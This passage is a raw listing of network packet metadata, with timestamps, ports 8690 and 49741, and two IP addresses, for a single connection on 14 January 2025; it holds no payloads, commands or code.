Jan 14, 2025 06:13:23.187043905 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187067986 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.187076092 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187109947 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187143087 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187165976 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.187187910 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.187210083 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187258959 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187293053 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187355995 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.187360048 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187393904 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187412977 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.187426090 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187463045 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187494040 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187510967 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.187527895 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187541962 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.187561035 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187592983 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187625885 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187642097 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.187658072 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187664986 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.187731028 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187783003 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.187783957 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187815905 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187850952 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187882900 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187896013 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.187917948 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187925100 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.187953949 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.188003063 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.188035965 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.188046932 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.188067913 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.188086033 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.188101053 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.188132048 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.188167095 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.188175917 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.188194990 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.188215017 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.188683033 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.188714981 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.188750982 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.188765049 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.188782930 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.188798904 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.188817024 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.188848019 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.188882113 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.188891888 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.188913107 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.188929081 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.188946009 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.188977957 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.189008951 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.189022064 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.189040899 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.189054012 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.189076900 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.189481020 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.189512968 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.189543009 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.189563990 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.189568996 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.189595938 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.189629078 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.189661980 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.189678907 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.189696074 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.189702988 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.189730883 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.189764023 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.189795971 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.189811945 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.189829111 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.189841986 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.189861059 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.189896107 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.189941883 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.190526009 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.190557003 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.190591097 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.190591097 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.190623999 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.190655947 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.190674067 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.190689087 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.190696001 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.190721035 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.190753937 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.190787077 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.190802097 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.190819025 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.190826893 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.190850973 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.190882921 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.190917969 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.190932035 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.190968990 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.191390038 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.191421986 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.191456079 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.191488028 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.191510916 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.191520929 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.191529036 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.191553116 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.191586018 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.191617966 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.191632032 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.191651106 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.191669941 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.191684008 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.191719055 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.191781998 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.192357063 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.229957104 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.230001926 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.230038881 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.230060101 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.230073929 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.230077982 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.279259920 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279280901 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279297113 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279310942 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279340982 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279356956 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279356956 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.279357910 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.279371023 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279380083 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.279401064 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279424906 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279439926 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279455900 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279452085 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.279458046 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.279470921 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279485941 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279501915 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279510975 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.279515982 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279531956 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279532909 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.279546976 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279565096 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279580116 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279581070 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.279581070 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.279596090 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279609919 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279625893 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279633045 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.279640913 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279654026 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.279656887 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279700994 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.279848099 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279894114 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.279896021 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279928923 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279961109 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.279993057 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280008078 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.280025005 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280044079 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.280061960 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280093908 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280127048 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280137062 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.280158997 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280170918 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.280194998 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280227900 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280261040 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280272007 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.280297995 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280308008 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.280374050 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280425072 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280457020 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280478954 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.280491114 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280500889 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.280523062 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280555964 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280587912 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280601978 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.280622005 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280637980 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.280654907 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280689001 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280721903 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280731916 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.280755043 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280764103 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.280787945 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280821085 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280853033 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280864954 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.280888081 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.280896902 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.285119057 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285167933 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285200119 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285222054 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.285233021 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285239935 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.285284042 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285316944 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285348892 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285361052 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.285382032 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285398960 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.285414934 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285470009 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285516024 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.285520077 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285552979 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285562992 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.285584927 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285618067 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285656929 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285662889 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.285690069 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285702944 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.285722971 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285759926 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285792112 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285806894 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.285831928 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.285856009 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285906076 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285937071 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285969019 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.285973072 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.286021948 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286055088 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286073923 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.286087036 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286113024 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.286123991 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286155939 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286173105 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.286190033 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286221981 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286254883 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286267042 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.286288023 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286302090 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.286320925 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286355972 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286386967 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286398888 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.286420107 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286431074 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.286453962 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286484957 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286518097 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286529064 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.286550999 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286562920 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.286583900 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286617994 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286662102 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.286673069 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286705017 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286720037 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.286740065 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286771059 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286803961 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286806107 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.286835909 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286849022 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.286869049 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286917925 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286952972 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.286964893 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.286988020 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.287003994 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.287022114 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.287054062 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.287086010 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.287101030 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.287136078 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.371742964 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.371798038 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.371834040 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.371860027 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.371865034 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.371901035 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.371932030 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.371949911 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.371974945 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.371998072 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372047901 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372081995 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372131109 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372134924 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372178078 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372180939 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372212887 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372246027 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372279882 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372303009 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372312069 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372323036 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372328043 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372344017 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372360945 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372385979 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372400045 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372406006 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372422934 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372437954 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372452021 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372467995 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372482061 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372494936 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372494936 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372500896 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372524977 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372525930 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372540951 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372555017 CET	8690	49741	172.245.123.12	192.168.2.4
